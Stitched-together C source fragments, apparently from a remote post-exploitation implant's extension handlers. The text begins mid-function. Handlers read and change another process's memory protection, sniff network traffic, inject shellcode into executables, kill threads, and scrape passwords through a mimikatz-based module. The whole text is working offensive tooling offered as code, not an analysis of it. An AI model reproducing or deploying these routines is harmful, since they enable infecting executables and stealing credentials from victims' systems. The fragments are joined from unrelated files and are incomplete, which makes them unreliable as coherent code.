ELEVATE_TECHNIQUE_NONE ); packet_transmit_response( dwResult, remote, response ); } return dwResult; }
/* * Read memory from the context of the supplied process at a given address for a * given length * * req: TLV_TYPE_HANDLE - The handle of the process to read from. * req: TLV_TYPE_BASE_ADDRESS - The address to read from. * req: TLV_TYPE_LENGTH - The number of bytes to read. */ DWORD request_sys_process_memory_read(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPVOID buffer = NULL; HANDLE handle; SIZE_T size; LPVOID base; SIZE_T bytesRead = 0; DWORD result = ERROR_SUCCESS; handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); base = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); size = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); do { // No handle, base, or size supplied? if ((!handle) || (!base) || (!size)) { result = ERROR_INVALID_PARAMETER; break; } // Allocate storage for to read into if (!(buffer = malloc(size))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Read the memory from the process...break out on failure if ((!ReadProcessMemory(handle, base, buffer, size, &bytesRead)) && (GetLastError() != ERROR_PARTIAL_COPY)) { result = GetLastError(); break; } // Add the raw buffer to the response packet_add_tlv_raw(response, TLV_TYPE_PROCESS_MEMORY, buffer, (DWORD)bytesRead); } while (0); // Transmit the response packet_transmit_response(result, remote, response); // Free the temporary storage if (buffer) free(buffer); return ERROR_SUCCESS; }
/* * Changes the protection flags on one or more pages * * req: TLV_TYPE_HANDLE - The process handle to operate on * req: TLV_TYPE_BASE_ADDRESS - The base address to re-protect * req: TLV_TYPE_LENGTH - The length of the region to re-protect * req: TLV_TYPE_PROTECTION - The new protection mask */ DWORD request_sys_process_memory_protect(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); HANDLE handle; LPVOID base; SIZE_T size; DWORD prot, old; DWORD result = ERROR_SUCCESS; handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); base = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); size = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); prot = packet_get_tlv_value_uint(packet, TLV_TYPE_PROTECTION); do { // Validate parameters if ((!handle) || (!base) || (!size)) { result = ERROR_INVALID_PARAMETER; break; } // Change the protection mask if (!VirtualProtectEx(handle, base, size, prot, &old)) { result = GetLastError(); break; } // Return the old protection mask to the requestor packet_add_tlv_uint(response, TLV_TYPE_PROTECTION, old); } while (0); // Transmit the response packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); unsigned int ifid,i; CaptureJob *j; DWORD result; check_pssdk(); dprintf("sniffer>> stop_capture()"); ifid = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_INTERFACE_ID); dprintf("sniffer>> stop_capture(0x%.8x)", ifid); result = ERROR_SUCCESS; do { // the interface is invalid if(ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES) { result = ERROR_INVALID_PARAMETER; break; } j = &open_captures[ifid]; // the interface is not being captured if(! j->adp) { result = ERROR_INVALID_PARAMETER; break; } EnterCriticalSection(&sniffercs); j->active = 0; AdpSetMacFilter(j->adp, 0); AdpCloseAdapter(j->adp); AdpDestroy(j->adp); for(i=0; i<j->max_pkts; i++) { if(!j->pkts[i]) break; PktDestroy(j->pkts[i]); j->pkts[i] = NULL; } free(j->pkts); memset(j, 0, sizeof(CaptureJob)); LeaveCriticalSection(&sniffercs); dprintf("sniffer>> stop_capture() interface %d processed %d packets/%d bytes", j->intf, j->cur_pkts, j->cur_bytes); } while(0); packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
DWORD request_peinjector_inject_shellcode(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_SUCCESS; Packet* response = packet_create_response(packet); if (response) { BYTE* shellcode = packet_get_tlv_value_raw(packet, TLV_TYPE_PEINJECTOR_SHELLCODE); UINT size = packet_get_tlv_value_uint(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_SIZE); BOOL is_x64 = packet_get_tlv_value_bool(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_ISX64); char* target_executable_path = packet_get_tlv_value_string(packet, TLV_TYPE_PEINJECTOR_TARGET_EXECUTABLE); if (shellcode != NULL) { dprintf("[PEINJECTOR] recived path: %s", target_executable_path); dprintf("[PEINJECTOR] recived shellcode: %s", shellcode); dprintf("[PEINJECTOR] recived size: %d", size); dprintf("[PEINJECTOR] is x64: %d", is_x64); PEINFECT infect; peinfect_init(&infect); __load_config(&infect, shellcode, size, is_x64); uint16_t arch = get_file_architecture(target_executable_path); dprintf("[PEINJECTOR] arch: %d", arch); if (!(arch == 0x014c && is_x64 == true || arch == 0x8664 && is_x64 == false)) { if (peinfect_infect_full_file(target_executable_path, &infect, target_executable_path)) { dprintf("Shellcode injected successfully\n"); } else { dprintf("There was an error, shellcode not injected\n"); packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "There was an error, shellcode not injected"); } } else { dprintf("The architecture of the file is incompatible with the selected payload\n"); packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "The architecture of the file is incompatible with the selected payload"); } packet_transmit_response(dwResult, remote, response); } else { dprintf("[PEINJECTOR] Shellcode parameter missing from call"); dwResult = ERROR_INVALID_PARAMETER; } } return dwResult; }
/* * Extension callback for printing out notifications for when the remote * endpoint is telling us to close a channel */ DWORD ex_remote_request_core_channel_close(Remote *remote, Packet *packet) { DWORD channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); if (channelId) { // If an interactive channel is closing, reset it if (channelId == console_get_interactive_channel_id()) console_set_interactive_channel(remote, NULL); } return ERROR_SUCCESS; }
/* * Terminate the supplied thread with the supplied exit code * * req: TLV_TYPE_THREAD_HANDLE - The thread to terminate. * req: TLV_TYPE_EXIT_CODE - The exit code to use when terminating. */ DWORD request_sys_process_thread_terminate(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); HANDLE thread; DWORD result = ERROR_SUCCESS; DWORD code; if ((thread = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_THREAD_HANDLE))) { code = packet_get_tlv_value_uint(packet, TLV_TYPE_EXIT_CODE); if (!TerminateThread(thread, code)) result = GetLastError(); } else result = ERROR_INVALID_PARAMETER; packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/*! * @brief Handler for the password scraping message. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the incoming packet. * @returns \c ERROR_SUCCESS */ DWORD request_scrape_passwords(Remote *remote, Packet *packet) { DWORD result; Packet * response = packet_create_response(packet); UINT pwdId = packet_get_tlv_value_uint(packet, TLV_TYPE_KIWI_PWD_ID); dprintf("[KIWI] Pwd ID: %u", pwdId); result = mimikatz_scrape_passwords(pwdId, response); packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }